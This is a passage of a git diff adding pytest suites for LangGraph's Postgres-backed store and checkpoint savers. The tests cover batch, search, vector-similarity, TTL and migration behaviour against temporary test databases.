autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + with PostgresStore.from_conn_string(conn_string, ttl=ttl_config) as store: + store.MIGRATIONS = [ + ( + mig.replace("ttl_minutes INT;", "ttl_minutes FLOAT;") + if isinstance(mig, str) + else mig + ) + for mig in store.MIGRATIONS + ] + store.setup() + + if request.param == "pipe": + with PostgresStore.from_conn_string( + conn_string, + pipeline=True, + ttl=ttl_config, + ) as store: + store.start_ttl_sweeper() + yield store + + store.stop_ttl_sweeper() + elif request.param == "pool": + with PostgresStore.from_conn_string( + conn_string, + pool_config={"min_size": 1, "max_size": 10}, + ttl=ttl_config, + ) as store: + store.start_ttl_sweeper() + yield store + + store.stop_ttl_sweeper() + else: # default + with PostgresStore.from_conn_string(conn_string, ttl=ttl_config) as store: + store.start_ttl_sweeper() + yield store + + store.stop_ttl_sweeper() + finally: + with Connection.connect(admin_conn_string, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +def test_batch_order(store: PostgresStore) -> None: + # Setup test data + store.put(("test", "foo"), "key1", {"data": "value1"}) + store.put(("test", "bar"), "key2", {"data": "value2"}) + + ops = [ + GetOp(namespace=("test", "foo"), key="key1"), + PutOp(namespace=("test", "bar"), key="key2", value={"data": "value2"}), + SearchOp( + namespace_prefix=("test",), filter={"data": "value1"}, limit=10, offset=0 + ), + ListNamespacesOp(match_conditions=None, max_depth=None, limit=10, offset=0), + GetOp(namespace=("test",), key="key3"), + ] + + results = store.batch(ops) + assert len(results) == 5 + assert isinstance(results[0], Item) + assert isinstance(results[0].value, dict) + assert results[0].value == {"data": "value1"} + assert results[0].key == "key1" + assert results[1] is None # Put operation returns None + assert isinstance(results[2], list) + assert len(results[2]) == 1 + assert isinstance(results[3], list) + assert len(results[3]) > 0 # Should contain at least our test namespaces + assert results[4] is None # Non-existent key returns None + + # Test reordered operations + ops_reordered = [ + SearchOp(namespace_prefix=("test",), filter=None, limit=5, offset=0), + GetOp(namespace=("test", "bar"), key="key2"), + ListNamespacesOp(match_conditions=None, max_depth=None, limit=5, offset=0), + PutOp(namespace=("test",), key="key3", value={"data": "value3"}), + GetOp(namespace=("test", "foo"), key="key1"), + ] + + results_reordered = store.batch(ops_reordered) + assert len(results_reordered) == 5 + assert isinstance(results_reordered[0], list) + assert len(results_reordered[0]) >= 2 # Should find at least our two test items + assert isinstance(results_reordered[1], Item) + assert results_reordered[1].value == {"data": "value2"} + assert results_reordered[1].key == "key2" + assert isinstance(results_reordered[2], list) + assert len(results_reordered[2]) > 0 + assert results_reordered[3] is None # Put operation returns None + assert isinstance(results_reordered[4], Item) + assert results_reordered[4].value == {"data": "value1"} + assert results_reordered[4].key == "key1" + + +def test_batch_get_ops(store: PostgresStore) -> None: + # Setup test data + store.put(("test",), "key1", {"data": "value1"}) + store.put(("test",), "key2", {"data": "value2"}) + + ops = [ + GetOp(namespace=("test",), key="key1"), + GetOp(namespace=("test",), key="key2"), + GetOp(namespace=("test",), key="key3"), # Non-existent key + ] + + results = store.batch(ops) + + assert len(results) == 3 + assert results[0] is not None + assert results[1] is not None + assert results[2] is None + assert results[0].key == "key1" + assert results[1].key == "key2" + + +def test_batch_put_ops(store: PostgresStore) -> None: + ops = [ + PutOp(namespace=("test",), key="key1", value={"data": "value1"}), + PutOp(namespace=("test",), key="key2", value={"data": "value2"}), + PutOp(namespace=("test",), key="key3", value=None), # Delete operation + ] + + results = store.batch(ops) + assert len(results) == 3 + assert all(result is None for result in results) + + # Verify the puts worked + item1 = store.get(("test",), "key1") + item2 = store.get(("test",), "key2") + item3 = store.get(("test",), "key3") + + assert item1 and item1.value == {"data": "value1"} + assert item2 and item2.value == {"data": "value2"} + assert item3 is None + + +def test_batch_search_ops(store: PostgresStore) -> None: + # Setup test data + test_data = [ + (("test", "foo"), "key1", {"data": "value1", "tag": "a"}), + (("test", "bar"), "key2", {"data": "value2", "tag": "a"}), + (("test", "baz"), "key3", {"data": "value3", "tag": "b"}), + ] + for namespace, key, value in test_data: + store.put(namespace, key, value) + + ops = [ + SearchOp(namespace_prefix=("test",), filter={"tag": "a"}, limit=10, offset=0), + SearchOp(namespace_prefix=("test",), filter=None, limit=2, offset=0), + SearchOp(namespace_prefix=("test", "foo"), filter=None, limit=10, offset=0), + ] + + results = store.batch(ops) + assert len(results) == 3 + + # First search should find items with tag "a" + assert len(results[0]) == 2 + assert all(item.value["tag"] == "a" for item in results[0]) + + # Second search should return first 2 items + assert len(results[1]) == 2 + + # Third search should only find items in test/foo namespace + assert len(results[2]) == 1 + assert results[2][0].namespace == ("test", "foo") + + +def test_batch_list_namespaces_ops(store: PostgresStore) -> None: + # Setup test data with various namespaces + test_data = [ + (("test", "documents", "public"), "doc1", {"content": "public doc"}), + (("test", "documents", "private"), "doc2", {"content": "private doc"}), + (("test", "images", "public"), "img1", {"content": "public image"}), + (("prod", "documents", "public"), "doc3", {"content": "prod doc"}), + ] + for namespace, key, value in test_data: + store.put(namespace, key, value) + + ops = [ + ListNamespacesOp(match_conditions=None, max_depth=None, limit=10, offset=0), + ListNamespacesOp(match_conditions=None, max_depth=2, limit=10, offset=0), + ListNamespacesOp( + match_conditions=[MatchCondition("suffix", "public")], + max_depth=None, + limit=10, + offset=0, + ), + ] + + results = store.batch(ops) + assert len(results) == 3 + + # First operation should list all namespaces + assert len(results[0]) == len(test_data) + + # Second operation should only return namespaces up to depth 2 + assert all(len(ns) <= 2 for ns in results[1]) + + # Third operation should only return namespaces ending with "public" + assert all(ns[-1] == "public" for ns in results[2]) + + +def test_basic_store_ops(store) -> None: + namespace = ("test", "documents") + item_id = "doc1" + item_value = {"title": "Test Document", "content": "Hello, World!"} + + store.put(namespace, item_id, item_value) + item = store.get(namespace, item_id) + + assert item + assert item.namespace == namespace + assert item.key == item_id + assert item.value == item_value + + # Test update + updated_value = {"title": "Updated Document", "content": "Hello, Updated!"} + store.put(namespace, item_id, updated_value) + updated_item = store.get(namespace, item_id) + + assert updated_item.value == updated_value + assert updated_item.updated_at > item.updated_at + + # Test get from non-existent namespace + different_namespace = ("test", "other_documents") + item_in_different_namespace = store.get(different_namespace, item_id) + assert item_in_different_namespace is None + + # Test delete + store.delete(namespace, item_id) + deleted_item = store.get(namespace, item_id) + assert deleted_item is None + + +def test_list_namespaces(store) -> None: + # Create test data with various namespaces + test_namespaces = [ + ("test", "documents", "public"), + ("test", "documents", "private"), + ("test", "images", "public"), + ("test", "images", "private"), + ("prod", "documents", "public"), + ("prod", "documents", "private"), + ] + + # Insert test data + for namespace in test_namespaces: + store.put(namespace, "dummy", {"content": "dummy"}) + + # Test listing with various filters + all_namespaces = store.list_namespaces() + assert len(all_namespaces) == len(test_namespaces) + + # Test prefix filtering + test_prefix_namespaces = store.list_namespaces(prefix=["test"]) + assert len(test_prefix_namespaces) == 4 + assert all(ns[0] == "test" for ns in test_prefix_namespaces) + + # Test suffix filtering + public_namespaces = store.list_namespaces(suffix=["public"]) + assert len(public_namespaces) == 3 + assert all(ns[-1] == "public" for ns in public_namespaces) + + # Test max depth + depth_2_namespaces = store.list_namespaces(max_depth=2) + assert all(len(ns) <= 2 for ns in depth_2_namespaces) + + # Test pagination + paginated_namespaces = store.list_namespaces(limit=3) + assert len(paginated_namespaces) == 3 + + # Cleanup + for namespace in test_namespaces: + store.delete(namespace, "dummy") + + +def test_search(store) -> None: + # Create test data + test_data = [ + ( + ("test", "docs"), + "doc1", + {"title": "First Doc", "author": "Alice", "tags": ["important"]}, + ), + ( + ("test", "docs"), + "doc2", + {"title": "Second Doc", "author": "Bob", "tags": ["draft"]}, + ), + ( + ("test", "images"), + "img1", + {"title": "Image 1", "author": "Alice", "tags": ["final"]}, + ), + ] + + for namespace, key, value in test_data: + store.put(namespace, key, value) + + # Test basic search + all_items = store.search(["test"]) + assert len(all_items) == 3 + + # Test namespace filtering + docs_items = store.search(["test", "docs"]) + assert len(docs_items) == 2 + assert all(item.namespace == ("test", "docs") for item in docs_items) + + # Test value filtering + alice_items = store.search(["test"], filter={"author": "Alice"}) + assert len(alice_items) == 2 + assert all(item.value["author"] == "Alice" for item in alice_items) + + # Test pagination + paginated_items = store.search(["test"], limit=2) + assert len(paginated_items) == 2 + + offset_items = store.search(["test"], offset=2) + assert len(offset_items) == 1 + + # Cleanup + for namespace, key, _ in test_data: + store.delete(namespace, key) + + +@contextmanager +def _create_vector_store( + vector_type: str, + distance_type: str, + fake_embeddings: Embeddings, + text_fields: list[str] | None = None, + enable_ttl: bool = True, +) -> PostgresStore: + """Create a store with vector search enabled.""" + database = f"test_{uuid4().hex[:16]}" + uri_parts = DEFAULT_URI.split("/") + uri_base = "/".join(uri_parts[:-1]) + query_params = "" + if "?" in uri_parts[-1]: + db_name, query_params = uri_parts[-1].split("?", 1) + query_params = "?" + query_params + + conn_string = f"{uri_base}/{database}{query_params}" + admin_conn_string = DEFAULT_URI + + index_config = { + "dims": fake_embeddings.dims, + "embed": fake_embeddings, + "ann_index_config": { + "vector_type": vector_type, + }, + "distance_type": distance_type, + "fields": text_fields, + } + + with Connection.connect(admin_conn_string, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + with PostgresStore.from_conn_string( + conn_string, + index=index_config, + ttl={"default_ttl": 2, "refresh_on_read": True} if enable_ttl else None, + ) as store: + store.setup() + with store._cursor() as cur: + # drop the migration index + cur.execute("DROP TABLE IF EXISTS store_migrations") + store.setup() # Will fail if migrations aren't idempotent + yield store + finally: + with Connection.connect(admin_conn_string, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +_vector_params = [ + (vector_type, distance_type, True) + for vector_type in VECTOR_TYPES + for distance_type in ( + ["hamming"] if vector_type == "bit" else ["l2", "inner_product", "cosine"] + ) +] +_vector_params += [(*_vector_params[-1][:2], False)] + + +@pytest.fixture( + scope="function", + params=_vector_params, + ids=lambda p: f"{p[0]}_{p[1]}", +) +def vector_store( + request, + fake_embeddings: Embeddings, +) -> PostgresStore: + """Create a store with vector search enabled.""" + vector_type, distance_type, enable_ttl = request.param + with _create_vector_store( + vector_type, distance_type, fake_embeddings, enable_ttl=enable_ttl + ) as store: + yield store + + +def test_vector_store_initialization( + vector_store: PostgresStore, fake_embeddings: CharacterEmbeddings +) -> None: + """Test store initialization with embedding config.""" + # Store should be initialized with embedding config + assert vector_store.index_config is not None + assert vector_store.index_config["dims"] == fake_embeddings.dims + assert vector_store.index_config["embed"] == fake_embeddings + + +def test_vector_insert_with_auto_embedding(vector_store: PostgresStore) -> None: + """Test inserting items that get auto-embedded.""" + docs = [ + ("doc1", {"text": "short text"}), + ("doc2", {"text": "longer text document"}), + ("doc3", {"text": "longest text document here"}), + ("doc4", {"description": "text in description field"}), + ("doc5", {"content": "text in content field"}), + ("doc6", {"body": "text in body field"}), + ] + + for key, value in docs: + vector_store.put(("test",), key, value) + + results = vector_store.search(("test",), query="long text") + assert len(results) > 0 + + doc_order = [r.key for r in results] + assert "doc2" in doc_order + assert "doc3" in doc_order + + +def test_vector_update_with_embedding(vector_store: PostgresStore) -> None: + """Test that updating items properly updates their embeddings.""" + vector_store.put(("test",), "doc1", {"text": "zany zebra Xerxes"}) + vector_store.put(("test",), "doc2", {"text": "something about dogs"}) + vector_store.put(("test",), "doc3", {"text": "text about birds"}) + + results_initial = vector_store.search(("test",), query="Zany Xerxes") + assert len(results_initial) > 0 + assert results_initial[0].key == "doc1" + initial_score = results_initial[0].score + + vector_store.put(("test",), "doc1", {"text": "new text about dogs"}) + + results_after = vector_store.search(("test",), query="Zany Xerxes") + after_score = next((r.score for r in results_after if r.key == "doc1"), 0.0) + assert after_score < initial_score + + results_new = vector_store.search(("test",), query="new text about dogs") + for r in results_new: + if r.key == "doc1": + assert r.score > after_score + + # Don't index this one + vector_store.put(("test",), "doc4", {"text": "new text about dogs"}, index=False) + results_new = vector_store.search(("test",), query="new text about dogs", limit=3) + assert not any(r.key == "doc4" for r in results_new) + + +@pytest.mark.parametrize("refresh_ttl", [True, False]) +def test_vector_search_with_filters( + vector_store: PostgresStore, refresh_ttl: bool +) -> None: + """Test combining vector search with filters.""" + # Insert test documents + docs = [ + ("doc1", {"text": "red apple", "color": "red", "score": 4.5}), + ("doc2", {"text": "red car", "color": "red", "score": 3.0}), + ("doc3", {"text": "green apple", "color": "green", "score": 4.0}), + ("doc4", {"text": "blue car", "color": "blue", "score": 3.5}), + ] + + for key, value in docs: + vector_store.put(("test",), key, value) + + results = vector_store.search( + ("test",), query="apple", filter={"color": "red"}, refresh_ttl=refresh_ttl + ) + assert len(results) == 2 + assert results[0].key == "doc1" + + results = vector_store.search( + ("test",), query="car", filter={"color": "red"}, refresh_ttl=refresh_ttl + ) + assert len(results) == 2 + assert results[0].key == "doc2" + + results = vector_store.search( + ("test",), + query="bbbbluuu", + filter={"score": {"$gt": 3.2}}, + refresh_ttl=refresh_ttl, + ) + assert len(results) == 3 + assert results[0].key == "doc4" + + # Multiple filters + results = vector_store.search( + ("test",), query="apple", filter={"score": {"$gte": 4.0}, "color": "green"} + ) + assert len(results) == 1 + assert results[0].key == "doc3" + + +def test_vector_search_pagination(vector_store: PostgresStore) -> None: + """Test pagination with vector search.""" + # Insert multiple similar documents + for i in range(5): + vector_store.put(("test",), f"doc{i}", {"text": f"test document number {i}"}) + + # Test with different page sizes + results_page1 = vector_store.search(("test",), query="test", limit=2) + results_page2 = vector_store.search(("test",), query="test", limit=2, offset=2) + + assert len(results_page1) == 2 + assert len(results_page2) == 2 + assert results_page1[0].key != results_page2[0].key + + # Get all results + all_results = vector_store.search(("test",), query="test", limit=10) + assert len(all_results) == 5 + + +def test_vector_search_edge_cases(vector_store: PostgresStore) -> None: + """Test edge cases in vector search.""" + vector_store.put(("test",), "doc1", {"text": "test document"}) + + results = vector_store.search(("test",), query="") + assert len(results) == 1 + + results = vector_store.search(("test",), query=None) + assert len(results) == 1 + + long_query = "test " * 100 + results = vector_store.search(("test",), query=long_query) + assert len(results) == 1 + + special_query = "test!@#$%^&*()" + results = vector_store.search(("test",), query=special_query) + assert len(results) == 1 + + +@pytest.mark.parametrize( + "vector_type,distance_type", + [ + ("vector", "cosine"), + ("vector", "inner_product"), + ("halfvec", "cosine"), + ("halfvec", "inner_product"), + ], +) +def test_embed_with_path_sync( + request: Any, + fake_embeddings: CharacterEmbeddings, + vector_type: str, + distance_type: str, +) -> None: + """Test vector search with specific text fields in Postgres store.""" + with _create_vector_store( + vector_type, + distance_type, + fake_embeddings, + text_fields=["key0", "key1", "key3"], + ) as store: + # This will have 2 vectors representing it + doc1 = { + # Omit key0 - check it doesn't raise an error + "key1": "xxx", + "key2": "yyy", + "key3": "zzz", + } + # This will have 3 vectors representing it + doc2 = { + "key0": "uuu", + "key1": "vvv", + "key2": "www", + "key3": "xxx", + } + store.put(("test",), "doc1", doc1) + store.put(("test",), "doc2", doc2) + + # doc2.key3 and doc1.key1 both would have the highest score + results = store.search(("test",), query="xxx") + assert len(results) == 2 + assert results[0].key != results[1].key + ascore = results[0].score + bscore = results[1].score + assert ascore == pytest.approx(bscore, abs=1e-3) + + # ~Only match doc2 + results = store.search(("test",), query="uuu") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].key == "doc2" + assert results[0].score > results[1].score + assert ascore == pytest.approx(results[0].score, abs=1e-3) + + # ~Only match doc1 + results = store.search(("test",), query="zzz") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].key == "doc1" + assert results[0].score > results[1].score + assert ascore == pytest.approx(results[0].score, abs=1e-3) + + # Un-indexed - will have low results for both. Not zero (because we're projecting) + # but less than the above. + results = store.search(("test",), query="www") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].score < ascore + assert results[1].score < ascore + + +@pytest.mark.parametrize( + "vector_type,distance_type", + [ + ("vector", "cosine"), + ("vector", "inner_product"), + ("halfvec", "cosine"), + ("halfvec", "inner_product"), + ], +) +def test_embed_with_path_operation_config( + request: Any, + fake_embeddings: CharacterEmbeddings, + vector_type: str, + distance_type: str, +) -> None: + """Test operation-level field configuration for vector search.""" + + with _create_vector_store( + vector_type, + distance_type, + fake_embeddings, + text_fields=["key17"], # Default fields that won't match our test data + ) as store: + doc3 = { + "key0": "aaa", + "key1": "bbb", + "key2": "ccc", + "key3": "ddd", + } + doc4 = { + "key0": "eee", + "key1": "bbb", # Same as doc3.key1 + "key2": "fff", + "key3": "ggg", + } + + store.put(("test",), "doc3", doc3, index=["key0", "key1"]) + store.put(("test",), "doc4", doc4, index=["key1", "key3"]) + + results = store.search(("test",), query="aaa") + assert len(results) == 2 + assert results[0].key == "doc3" + assert len(set(r.key for r in results)) == 2 + assert results[0].score > results[1].score + + results = store.search(("test",), query="ggg") + assert len(results) == 2 + assert results[0].key == "doc4" + assert results[0].score > results[1].score + + results = store.search(("test",), query="bbb") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].score == pytest.approx(results[1].score, abs=1e-3) + + results = store.search(("test",), query="ccc") + assert len(results) == 2 + assert all( + r.score < 0.9 for r in results + ) # Unindexed field should have low scores + + # Test index=False behavior + doc5 = { + "key0": "hhh", + "key1": "iii", + } + store.put(("test",), "doc5", doc5, index=False) + results = store.search(("test",)) + assert len(results) == 3 + assert all(r.score is None for r in results), f"{results}" + assert any(r.key == "doc5" for r in results) + + results = store.search(("test",), query="hhh") + # TODO: We don't currently fill in additional results if there are not enough + # returned during vector search. + # assert len(results) == 3 + # doc5_result = next(r for r in results if r.key == "doc5") + # assert doc5_result.score is None + + +def _cosine_similarity(X: list[float], Y: list[list[float]]) -> list[float]: + """ + Compute cosine similarity between a vector X and a matrix Y. + Lazy import numpy for efficiency. + """ + + similarities = [] + for y in Y: + dot_product = sum(a * b for a, b in zip(X, y, strict=False)) + norm1 = sum(a * a for a in X) ** 0.5 + norm2 = sum(a * a for a in y) ** 0.5 + similarity = dot_product / (norm1 * norm2) if norm1 > 0 and norm2 > 0 else 0.0 + similarities.append(similarity) + + return similarities + + +def _inner_product(X: list[float], Y: list[list[float]]) -> list[float]: + """ + Compute inner product between a vector X and a matrix Y. + Lazy import numpy for efficiency. + """ + + similarities = [] + for y in Y: + similarity = sum(a * b for a, b in zip(X, y, strict=False)) + similarities.append(similarity) + + return similarities + + +def _neg_l2_distance(X: list[float], Y: list[list[float]]) -> list[float]: + """ + Compute l2 distance between a vector X and a matrix Y. + Lazy import numpy for efficiency. + """ + + similarities = [] + for y in Y: + similarity = sum((a - b) ** 2 for a, b in zip(X, y, strict=False)) ** 0.5 + similarities.append(-similarity) + + return similarities + + +@pytest.mark.parametrize( + "vector_type,distance_type", + [ + ("vector", "cosine"), + ("vector", "inner_product"), + ("halfvec", "l2"), + ], +) +@pytest.mark.parametrize("query", ["aaa", "bbb", "ccc", "abcd", "poisson"]) +def test_scores( + fake_embeddings: CharacterEmbeddings, + vector_type: str, + distance_type: str, + query: str, +) -> None: + """Test operation-level field configuration for vector search.""" + with _create_vector_store( + vector_type, + distance_type, + fake_embeddings, + text_fields=["key0"], + ) as store: + doc = { + "key0": "aaa", + } + store.put(("test",), "doc", doc, index=["key0", "key1"]) + + results = store.search((), query=query) + vec0 = fake_embeddings.embed_query(doc["key0"]) + vec1 = fake_embeddings.embed_query(query) + if distance_type == "cosine": + similarities = _cosine_similarity(vec1, [vec0]) + elif distance_type == "inner_product": + similarities = _inner_product(vec1, [vec0]) + elif distance_type == "l2": + similarities = _neg_l2_distance(vec1, [vec0]) + + assert len(results) == 1 + assert results[0].score == pytest.approx(similarities[0], abs=1e-3) + + +def test_nonnull_migrations() -> None: + _leading_comment_remover = re.compile(r"^/\*.*?\*/") + for migration in PostgresStore.MIGRATIONS: + statement = _leading_comment_remover.sub("", migration).split()[0] + assert statement.strip() + + +def test_store_ttl(store): + # Assumes a TTL of 1 minute = 60 seconds + ns = ("foo",) + store.put( + ns, + key="item1", + value={"foo": "bar"}, + ttl=TTL_MINUTES, # type: ignore + ) + time.sleep(TTL_SECONDS - 2) + res = store.get(ns, key="item1", refresh_ttl=True) + assert res is not None + time.sleep(TTL_SECONDS - 2) + results = store.search(ns, query="foo", refresh_ttl=True) + assert len(results) == 1 + time.sleep(TTL_SECONDS - 2) + res = store.get(ns, key="item1", refresh_ttl=False) + assert res is not None + time.sleep(TTL_SECONDS - 1) + # Now has been (TTL_SECONDS-2)*2 > TTL_SECONDS + TTL_SECONDS/2 + res = store.search(ns, query="bar", refresh_ttl=False) + assert len(res) == 0 + + +@pytest.mark.parametrize( + "vector_type,distance_type", + [ + ("vector", "cosine"), + ("vector", "inner_product"), + ("halfvec", "cosine"), + ("halfvec", "inner_product"), + ], +) +def test_non_ascii( + request: Any, + fake_embeddings: CharacterEmbeddings, + vector_type: str, + distance_type: str, +) -> None: + """Test support for non-ascii characters""" + with _create_vector_store(vector_type, distance_type, fake_embeddings) as store: + store.put(("user_123", "memories"), "1", {"text": "这是中文"}) # Chinese + store.put( + ("user_123", "memories"), "2", {"text": "これは日本語です"} + ) # Japanese + store.put(("user_123", "memories"), "3", {"text": "이건 한국어야"}) # Korean + store.put(("user_123", "memories"), "4", {"text": "Это русский"}) # Russian + store.put(("user_123", "memories"), "5", {"text": "यह रूसी है"}) # Hindi + + result1 = store.search(("user_123", "memories"), query="这是中文") + result2 = store.search(("user_123", "memories"), query="これは日本語です") + result3 = store.search(("user_123", "memories"), query="이건 한국어야") + result4 = store.search(("user_123", "memories"), query="Это русский") + result5 = store.search(("user_123", "memories"), query="यह रूसी है") + + assert result1[0].key == "1" + assert result2[0].key == "2" + assert result3[0].key == "3" + assert result4[0].key == "4" + assert result5[0].key == "5" diff --git a/libs/checkpoint-postgres/tests/test_sync.py b/libs/checkpoint-postgres/tests/test_sync.py new file mode 100644 index 0000000..63b9371 --- /dev/null +++ b/libs/checkpoint-postgres/tests/test_sync.py @@ -0,0 +1,360 @@ +# type: ignore + +import re +from contextlib import contextmanager +from typing import Any +from uuid import uuid4 + +import pytest +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import ( + EXCLUDED_METADATA_KEYS, + Checkpoint, + CheckpointMetadata, + create_checkpoint, + empty_checkpoint, +) +from langgraph.checkpoint.serde.types import TASKS +from psycopg import Connection +from psycopg.rows import dict_row +from psycopg_pool import ConnectionPool + +from langgraph.checkpoint.postgres import PostgresSaver, ShallowPostgresSaver +from tests.conftest import DEFAULT_POSTGRES_URI + + +def _exclude_keys(config: dict[str, Any]) -> dict[str, Any]: + return {k: v for k, v in config.items() if k not in EXCLUDED_METADATA_KEYS} + + +@contextmanager +def _pool_saver(): + """Fixture for pool mode testing.""" + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + with ConnectionPool( + DEFAULT_POSTGRES_URI + database, + max_size=10, + kwargs={"autocommit": True, "row_factory": dict_row}, + ) as pool: + checkpointer = PostgresSaver(pool) + checkpointer.setup() + yield checkpointer + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@contextmanager +def _pipe_saver(): + """Fixture for pipeline mode testing.""" + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + with Connection.connect( + DEFAULT_POSTGRES_URI + database, + autocommit=True, + prepare_threshold=0, + row_factory=dict_row, + ) as conn: + checkpointer = PostgresSaver(conn) + checkpointer.setup() + with conn.pipeline() as pipe: + checkpointer = PostgresSaver(conn, pipe=pipe) + yield checkpointer + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@contextmanager +def _base_saver(): + """Fixture for regular connection mode testing.""" + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + with Connection.connect( + DEFAULT_POSTGRES_URI + database, + autocommit=True, + prepare_threshold=0, + row_factory=dict_row, + ) as conn: + checkpointer = PostgresSaver(conn) + checkpointer.setup() + yield checkpointer + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@contextmanager +def _shallow_saver(): + """Fixture for regular connection mode testing with a shallow checkpointer.""" + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + with Connection.connect( + DEFAULT_POSTGRES_URI + database, + autocommit=True, + prepare_threshold=0, + row_factory=dict_row, + ) as conn: + checkpointer = ShallowPostgresSaver(conn) + checkpointer.setup() + yield checkpointer + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@contextmanager +def _saver(name: str): + if name == "base": + with _base_saver() as saver: + yield saver + elif name == "shallow": + with _shallow_saver() as saver: + yield saver + elif name == "pool": + with _pool_saver() as saver: + yield saver + elif name == "pipe": + with _pipe_saver() as saver: + yield saver + + +@pytest.fixture +def test_data(): + """Fixture providing test data for checkpoint tests.""" + config_1: RunnableConfig = { + "configurable": { + "thread_id": "thread-1", + "checkpoint_id": "1", + "checkpoint_ns": "", + } + } + config_2: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_id": "2", + "checkpoint_ns": "", + } + } + config_3: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_id": "2-inner", + "checkpoint_ns": "inner", + } + } + + chkpnt_1: Checkpoint = empty_checkpoint() + chkpnt_2: Checkpoint = create_checkpoint(chkpnt_1, {}, 1) + chkpnt_3: Checkpoint = empty_checkpoint() + + metadata_1: CheckpointMetadata = { + "source": "input", + "step": 2, + "score": 1, + } + metadata_2: CheckpointMetadata = { + "source": "loop", + "step": 1, + "score": None, + } + metadata_3: CheckpointMetadata = {} + + return { + "configs": [config_1, config_2, config_3], + "checkpoints": [chkpnt_1, chkpnt_2, chkpnt_3], + "metadata": [metadata_1, metadata_2, metadata_3], + } + + +@pytest.mark.parametrize("saver_name", ["base", "pool", "pipe", "shallow"]) +def test_combined_metadata(saver_name: str, test_data) -> None: + with _saver(saver_name) as saver: + config = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_ns": "", + "__super_private_key": "super_private_value", + }, + "metadata": {"run_id": "my_run_id"}, + } + chkpnt: Checkpoint = create_checkpoint(empty_checkpoint(), {}, 1) + metadata: CheckpointMetadata = { + "source": "loop", + "step": 1, + "score": None, + } + saver.put(config, chkpnt, metadata, {}) + checkpoint = saver.get_tuple(config) + assert checkpoint.metadata == { + **metadata, + "run_id": "my_run_id", + } + + +@pytest.mark.parametrize("saver_name", ["base", "pool", "pipe", "shallow"]) +def test_search(saver_name: str, test_data) -> None: + with _saver(saver_name) as saver: + configs = test_data["configs"] + checkpoints = test_data["checkpoints"] + metadata = test_data["metadata"] + + saver.put(configs[0], checkpoints[0], metadata[0], {}) + saver.put(configs[1], checkpoints[1], metadata[1], {}) + saver.put(configs[2], checkpoints[2], metadata[2], {}) + + # call method / assertions + query_1 = {"source": "input"} # search by 1 key + query_2 = { + "step": 1, + } # search by multiple keys + query_3: dict[str, Any] = {} # search by no keys, return all checkpoints + query_4 = {"source": "update", "step": 1} # no match + + search_results_1 = list(saver.list(None, filter=query_1)) + assert len(search_results_1) == 1 + assert search_results_1[0].metadata == { + **_exclude_keys(configs[0]["configurable"]), + **metadata[0], + } + + search_results_2 = list(saver.list(None, filter=query_2)) + assert len(search_results_2) == 1 + assert search_results_2[0].metadata == { + **_exclude_keys(configs[1]["configurable"]), + **metadata[1], + } + + search_results_3 = list(saver.list(None, filter=query_3)) + assert len(search_results_3) == 3 + + search_results_4 = list(saver.list(None, filter=query_4)) + assert len(search_results_4) == 0 + + # search by config (defaults to checkpoints across all namespaces) + search_results_5 = list(saver.list({"configurable": {"thread_id": "thread-2"}})) + assert len(search_results_5) == 2 + assert { + search_results_5[0].config["configurable"]["checkpoint_ns"], + search_results_5[1].config["configurable"]["checkpoint_ns"], + } == {"", "inner"} + + +@pytest.mark.parametrize("saver_name", ["base", "pool", "pipe", "shallow"]) +def test_null_chars(saver_name: str, test_data) -> None: + with _saver(saver_name) as saver: + config = saver.put( + test_data["configs"][0], + test_data["checkpoints"][0], + {"my_key": "\x00abc"}, + {}, + ) + assert saver.get_tuple(config).metadata["my_key"] == "abc" # type: ignore + assert ( + list(saver.list(None, filter={"my_key": "abc"}))[0].metadata["my_key"] + == "abc" + ) + + +def test_nonnull_migrations() -> None: + _leading_comment_remover = re.compile(r"^/\*.*?\*/") + for migration in PostgresSaver.MIGRATIONS: + statement = _leading_comment_remover.sub("", migration).split()[0] + assert statement.strip() + + +@pytest.mark.parametrize("saver_name", ["base", "pool", "pipe"]) +def test_pending_sends_migration(saver_name: str) -> None: + with _saver(saver_name) as saver: + config = { + "configurable": { + "thread_id": "thread-1", + "checkpoint_ns": "", + } + } + + # create the first checkpoint + # and put some pending sends + checkpoint_0 = empty_checkpoint() + config = saver.put(config, checkpoint_0, {}, {}) + saver.put_writes( + config, [(TASKS, "send-1"), (TASKS, "send-2")], task_id="task-1" + ) + saver.put_writes(config, [(TASKS, "send-3")], task_id="task-2") + + # check that fetching checkpoint_0 doesn't attach pending sends + # (they should be attached to the next checkpoint) + tuple_0 = saver.get_tuple(config) + assert tuple_0.checkpoint["channel_values"] == {} + assert tuple_0.checkpoint["channel_versions"] == {} + + # create the second checkpoint + checkpoint_1 = create_checkpoint(checkpoint_0, {}, 